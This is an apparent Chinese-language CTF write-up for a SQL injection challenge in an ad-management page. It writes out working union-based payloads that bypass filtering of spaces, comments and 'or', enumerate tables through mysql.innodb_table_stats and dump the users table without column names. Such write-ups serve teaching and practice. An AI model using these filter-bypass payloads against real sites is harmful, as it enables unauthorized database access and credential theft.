1.先看题目
2.这里我怀疑是sql注入,尝试了万能密码和sqlmap都没有效果
3.这里发现了有一个注册登录的地方
这里自己注册一个,不要注册admin,不要问我怎么知道的。
这里进去之后是一个广告信息管理
这里使用1’ order by 1#
来测试一下
显示标题有敏感词汇
这里没有源码只能去手动的测试他过滤了啥
最终我发现了她过滤了or # --+和空格
这里想一下绕过的方法
空格可以用/**/来代替
–+注释符的话就用单引号闭合就ok
or被过滤了的话就不能使用order by,information_schema
这里使用一个新的注入方法
1.这里检查数据库列数
-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
回显是2,3
2.然后去爆数据库
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
库名是web1
3.爆表名,这里不能使用or,所以这里使用的是新的payload
1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
这里的表名是ads和users
4.去爆users的字段
1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'